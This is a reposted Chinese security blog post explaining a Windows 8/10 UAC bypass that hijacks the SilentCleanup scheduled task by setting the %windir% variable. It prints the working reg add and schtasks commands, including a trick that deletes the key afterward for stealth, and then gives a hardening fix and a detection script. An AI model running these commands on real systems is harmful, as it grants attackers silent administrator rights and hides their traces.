开发者社区> 玄学酱> 正文

如何使用SilentCleanup绕过UAC?

简介: 本文讲的是如何使用SilentCleanup绕过UAC?,最近我在James Forshaw‏的博客学到了一个Win10下绕过UAC的技巧,该方法通过脚本实现,并且目前微软还未对该绕过方法进行修复(预计在Win10 RS3修复)。
+关注继续查看
本文讲的是如何使用SilentCleanup绕过UAC?

0x00 前言

最近我在James Forshaw‏的博客学到了一个Win10下绕过UAC的技巧,该方法通过脚本实现,并且目前微软还未对该绕过方法进行修复(预计在Win10 RS3修复)。经过我的学习测试,该方法同样适用于Win8,并且文中介绍的绕过思路很值得学习,因此整理成文,分享给大家。

0x01 简介

本文将要介绍以下内容:

绕过思路

利用方法

0x02 绕过思路


个人认为寻找绕过UAC的方法可分为以下两个步骤:

1、寻找权限控制不严格的程序

通常具有以下特点:

以普通用户权限启动程序

程序默认以高权限启动,通常标记为Highest

2、该程序启动过程是否可被劫持

启动路径是否可被劫持

启动过程加载的问题(如dll)是否可被劫持

0x03 利用方法

对应到James Forshaw‏的方法,也是优先寻找权限控制不严格的程序——计划任务中的SilentCleanup

注:

Matt Nelson之前也介绍过一个利用SilentCleanup绕过UAC的方法,目前已被修复,文章地址如下:

https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

计划任务中的SilentCleanup:

普通用户权限即可启动

启动后自动提升为高权限

通过Powershell可以获取更多细节,代码如下:

$task = Get-ScheduledTask SilentCleanup
$task.Principal

注:

Win7默认powershell版本2.0,不支持Get-ScheduledTask操作

如下图

如何使用SilentCleanup绕过UAC?

Authenticated Users表示普通用户权限即可启动

RunLevel为Highest表示以高权限启动

查看启动参数,powershell代码如下:

$task.Actions[0]

如下图

如何使用SilentCleanup绕过UAC?

启动参数为%windir%system32cleanmgr.exe

这里存在一个可供利用的地方——环境变量%windir%

注:

可通过set windir查看环境变量%windir%

%windir%默认指向c:Windows

如果修改当前系统环境变量,指向其他路径,那么这里就实现了一个劫持

例如:

将%windir%设置为c:test

在c:testsystem32下将payload.exe保存为cleanmgr.exe

那么在启动计划任务SilentCleanup时,就会以高权限启动payload.exe,实现了UAC绕过

更直接的利用方法:

将%windir%设置为cmd /K,那么在启动计划任务SilentCleanup时会弹出cmd.exe

注:

cmd后面需要加参数,否则由于参数问题导致无法正常启动

/k表示弹出的cmd.exe在执行代码后不退出

为了增加隐蔽性(很多程序在启动时需要调用环境变量%windir%),在执行cmd的需要同时删除新添加的注册表键值windir,可以使用如下代码:

reg add hkcuEnvironment /v windir /d "cmd /K reg delete hkcuEnvironment /v windir /f && REM "
schtasks /Run /TN MicrosoftWindowsDiskCleanupSilentCleanup /I

注:

以上代码来自于https://gist.github.com/tyranid/729b334bf9dc0f38184dbd47ae3f52d0#file-disk_cleanup_uac_bypass-bat

将环境变量设置为cmd /K reg delete hkcuEnvironment /v windir /f && REM,那么在启动计划任务SilentCleanup时会弹出cmd.exe,接着执行删除注册表键值的命令:reg delete hkcuEnvironment /v windir /f

完整操作如下图

如何使用SilentCleanup绕过UAC?

注:

参数如果换成/a,那么cmd.exe在执行后面的命令后会立即退出

0x04 防御检测

1、防御

修改计划任务SilentCleanup的启动参数,将环境变量去掉,换成c:Windows,锁定路径

管理员权限:

$action = New-ScheduledTaskAction -Execute $env:windirSystem32cleanmgr.exe -Argument "/autoclean /d $env:systemdrive"
Set-ScheduledTask SilentCleanup -TaskPath MicrosoftWindowsDiskCleanup -Action $action

注:

以上代码来自于https://gist.github.com/tyranid/9ef39228ba0acc6aa4039d2218006546#file-fix_diskclean_uac_bypass-ps1

如下图

如何使用SilentCleanup绕过UAC?

计划任务SilentCleanup的启动参数被修改为c:windowssystem32cleanmgr.exe,无法通过修改环境变量%windir%对其劫持

2、检测

通过powershell寻找计划任务中是否还存在可供利用的服务,代码如下:

$tasks = Get-ScheduledTask | 
   Where-Object { $_.Principal.RunLevel -ne "Limited" -and
                  $_.Principal.LogonType -ne "ServiceAccount" -and
                  $_.State -ne "Disabled" -and
                  $_.Actions[0].CimClass.CimClassName -eq "MSFT_TaskExecAction" }

注:

以上代码来自于https://gist.github.com/tyranid/92e1c7074a9a7b0d5d021e9218e34fe7#file-get_scheduled_tasks-ps1

如下图,可供利用的服务一共有四个,经测试,其他三个无法实际利用,只有SilentCleanup有效

如何使用SilentCleanup绕过UAC?

0x05 补充

该方法同样适用于Win8环境,完整操作如下图

如何使用SilentCleanup绕过UAC?

Win7系统不包含计划任务SilentCleanup,因此无法利用

0x06 小结

本文介绍了通过计划任务SilentCleanup绕过UAC的方法,该方法仅需要通过脚本向当前用户注册表写入键值即可,简单有效。




原文发布时间为:2017年5月24日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Selenium2+python自动化4-Pycharm使用
前言         在写脚本之前,先要找个顺手的写脚本工具。python是一门解释性编程语言,所以一般把写python的工具叫解释器。写python脚本的工具很多,小编这里就不一一列举的,只要自己用着顺手就可以的,如果你还没有选好解释器,小编这里推荐pycharm。
927 0
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
20293 0
使用selenium实现前程无忧简历自动刷新
image.png 使用过前程无忧,智联招聘等这些招聘网站的都知道,网站都会有一个简历刷新功能,hr那边检索简历都时候网站会根据求职者简历的刷新时间来进行排序,所以如果你想要你的简历排在前列,让hr一眼看见的话,那就勤刷新,隔段时间刷新一次,或者花钱购买网站提供的增值服务,帮你置顶。
1938 0
在ArcGIS中如何使用直连方式连接Oracle数据库
1.      背景 直连方式比使用SDE方式更加稳定,特别是在大数据量处理的应用中,不易出场由SDE连接进程造成的gsvr错误。
1124 0
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
18572 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,阿里云优惠总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系.
25029 0
如何使用DNN中的Calendar控件
在做表单时,我们经常会用到日期控件,这个在DNN里已经提供了现成的控件。 为了测试,我们先用Startkit快速建立一个模块,具体步骤我就不细说了。 然后我们到View控件这里,我们要演示的就是在页面上填加一个日期控件,先来看看完成后是什么样子:第一步: 我们先放拖放一个Asp.
655 0
使用Blend的一些问题
原文:使用Blend的一些问题   WPF开发,界面处理首选Blend,如果你开发了两年WPF都没接触过blend(当然这种几率不高),或者你刚接触WPF,可以考虑使用Blend,这货也算得上一个神器,上手也不难。
917 0
+关注
玄学酱
这个时候,玄酱是不是应该说点什么...
20709
文章
438
问答
文章排行榜
最热
最新
相关电子书
更多
JS零基础入门教程(上册)
立即下载
性能优化方法论
立即下载
手把手学习日志服务SLS,云启实验室实战指南
立即下载